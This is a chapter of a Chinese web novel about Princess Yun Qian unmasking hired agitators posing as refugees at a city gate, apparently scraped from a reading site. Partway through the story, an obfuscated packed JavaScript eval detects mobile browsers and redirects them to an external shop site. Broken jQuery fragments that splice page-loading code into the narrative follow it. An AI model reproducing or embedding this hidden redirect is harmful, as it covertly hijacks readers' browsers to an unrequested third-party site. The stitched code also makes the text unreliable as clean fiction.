云浅抄了近路,用最快的速度回到睿王府,沐浴之后换了件干净的衣服,然后去了灾民闹事的城门口。
虽已是半夜,但四周依旧人声鼎沸。
不管是灾民还是普通百姓,都喊着同一句话,“睿王妃罪大恶极,请睿王府还我们一个公道!”
翡翠气得直跺脚,“王妃,您一心为他们着想,他们怎么能如此污蔑您呢?”
云浅没有吭声,眸光微凝,拿着手中铜锣跳下马车,快步上前。
“铛——”
敲锣声响彻四周,立刻把众人的注意力吸引过来。
结果一看是她,百姓们顿时怒从心起。
“原来是睿王妃啊,您终于舍得来了?”
“是啊,这里已经出事这么久,探子几次往睿王府跑,您怎么也不像是刚知道此时的样子,却为何迟迟不来?”
“这还用说吗?无非就是看不起普通百姓,没把咱们当回事呗!”
“传闻说睿王妃善良温和,时常帮助百姓,如今看来都是假的!她根本就是沽名钓誉,和那些鱼肉百姓的贪官没什么区别!”
“……”
周围的声音骂得越来越难听,翡翠眼睛都红了。
云浅却没什么表情,“说完了吗?你们不是要睿王府给你们一个公道吗?现在我人已经来了,且就是来满足你们要求的——若是你们不能安安静静的听我说,那在这里聚众闹事又有什么意义?”
众人闻言,不禁面面相觑。
或许是她的神色过于波澜不惊,好像在看一群无理取闹的人,倒是显得他们理亏了,所以百姓顿时有些说不出话来。
“韩离,将他们抓起来。”
云浅指着闹事灾民最前排的那些壮汉,继续说道。
众人脸色又是一变。
那些个壮汉先是一惊,然后顿时满面怒容。
“睿王妃为何抓我们?难道这就是您要给我们的公道吗?”
“王妃不会以为,抓了我们就能平息此事吧?”
“痴心妄想!”有百姓怒道,“我们所有人团结一心,今日就算您抓十人百人,明日也还有千千万万的百姓会问睿王府讨个公道!”
她这举动,毫无疑问犯了众怒。
景帝远远看着她,脸色愈发沉了下去。
却听云浅冷笑一声,“各位西北来的大爷大娘,我让侍卫抓他们,并非因为他们带头闹事,而是因为他们明明不是你们的同乡,却被人收买故意挑动你们的情绪,造成你们与睿王府乃至与朝廷的对立——如此居心叵测,罪不容诛之人,难道不该抓吗?”
此话一出,众人又是一惊。
被人收买?
怎么可能呢?这些“同乡们”穿得和他们一样又脏又破,还恰好跟他们一样都是西北口音,怎么可能不是同乡呢?
睿王妃莫不是在骗他们?
云浅看出他们的疑惑,又继续道:“衣着口音都是可以装的,难道我今日往脸上抹一把墨水,再换上跟你们一样的衣裳,弄得脏兮兮臭烘烘的,我就是你们的同乡了吗?”
她甫一说完,景帝就蓦地变了脸色。
他终于知道,为什么刚才在太子府门口看到的那个人有种似曾相识的感觉了——那哪里是旁人,分明就是苏棠假扮的!
他太阳穴猛地跳了两下,这个苏棠,是觉得他当真认不出来,还是觉得他不会怪罪她,竟敢这么有恃无恐?
他正要上前,却听她又补充了一句,“诸位若是实在不相信我说的话,不如问问他们,西北产的南瓜和京城产的南瓜有什么区别?”
此话一出,所有人面面相觑。
而刚才被韩离扣押的那几个壮汉当即对视一眼,然后一脸凶狠的瞪着云浅,“能有什么区别?俺们都是大老粗,分不出你们这些女人兜兜转转的心思,在俺们看来,西北和京城的南瓜都长一个样!”
然而话音刚落,四周灾民却是一片哗然。
壮汉们不明所以。
云浅嘲弄的扯了下唇,“可是诸位,西北的土壤根本不可能种植南瓜,你们若当真是当地人,连这个都不知道吗?”
是啊,他们怎么可能不知?
在西北,就连三岁小孩也知道这些东西!
除非……这些人真如睿王妃所说,根本不是他们的同乡!
“你们到底是什么人,为什么要冒充灾民?”
“难道睿王妃说的都是真话,他们是被人收买来教唆我们的?”
“一定是这样,刚才带头的就是他们几个!”
“……”
灾民和京城的百姓顿时反应过来,一个个都沉了脸。
他们想不通,到底什么人这么恶毒,竟连灾民也要利用?
有人厉声质问道:“到底谁派你们来的?”
闹事的壮汉们见事情彻底败露,气急败坏的道:“就算我们冒充灾民又怎样,本意还不是为了灾民好?他们的家乡闹灾害已经恨可怜了,为什么睿王妃还让他们吃泔水垃圾,害他们上吐下泻?”
是啊,为什么?
景帝远远看着他们,眼底闪过一抹复杂。
这些人是太子派来的,他已经知道了,可他不知道,
苏棠到底为什么要这么做?
就连萧承影也不禁冷笑。
虽然他确实派了人来闹事,也确实在苏棠的食物里加了点料,但是,她给灾民吃泔水也是不争的事实!
无论如何,这一点她就是没法解释!
然而这个念头刚刚冒出来,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170261|150483||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
听云浅冷笑一声,“你们说,我给灾民吃的是泔水?”
她说完也没有直接解释,而是扭头看向一旁的韩离,吩咐道:“让他们把今日分发给灾民的饭菜都拿出来。”
“是!”
韩离应了一声,立刻指使侍卫搬出今日的伙食。
是一大锅的炖菜,为了让每位灾民分到荤腥,鱼类和肉类都是剁碎的,看起来也确实不那么美观。
所以百姓们也不知道,她为什么要把这锅菜拿出来。
灾民们也是面面相觑。
其实这锅炖菜十分美味可口,因此他们吃的时候,完全没觉得哪里有问题——即便后来有人说,这些都是酒楼里倒掉的泔水,他们也只是心里堵了一下,并没有责怪睿王妃。
毕竟,他们来京城的路上,也经常去翻有钱人家的泔水桶。
可是几个时辰后,很多人突然开始呕吐——尤其是身体较弱的妇孺孩子,更是面色惨白,看起来可怜极了。
而此时这些壮汉又出来带头骂睿王府,他们心里一急,便也跟着一块儿骂了起来,想要讨个说法!
说到底,他们就是想活下去而已。
“睿王妃,其实咱们也不是想怪您。”有人小声道,“只要有口吃的,我们就连尸体都吃过,只是……若是每次吃完以后都这么腹痛不止,我们这些男子也就罢了,可老弱妇孺实在是受不了啊!”
“是啊!”立刻又有人接话道,“实在不行,您就把昨日的稻糠拿出来给咱们吃,也比吃完再吐出来好啊!”
此话一出,其他灾民也纷纷点头,一脸哀求的看着她。
云浅心头酸涩,却不是因为被误会,而是因为这些可怜的灾民明明只是想活下去,却被一个畜生狠心利用,落得如此可怜的地步。
她冷声道:“韩离,把剩下的人叫来。”
韩离道了声是,朝远处做了个手势,立刻又有一大群人蜂拥而至。
“他们又是谁?”
景帝远远的看着这些人,蹙眉问道。
萧墨栩低眸答道:“回父皇,是京城各大酒楼的掌柜。”
景帝一愣,“苏棠把他们叫来做什么?”
这回没等萧墨栩答话,萧承影就讽刺的勾了下唇,“七弟,睿王府的泔水,莫非就是问他们拿的?”
景帝闻言,脸色蓦地沉了下去。
萧承影幽幽的道:“可就算他们能证明自己的泔水很干净,那毕竟也是泔水啊——如今已经吃出了问题,七弟妹还不死心吗?还想用什么样的话术来哄骗那些可怜的灾民?”
萧墨栩冷冷看了他一眼,但并未吭声。
萧承影笑意深了几分。
然而下一秒,却听那边的掌柜高呼道:“乡亲们,你们都误会睿王妃了呀!”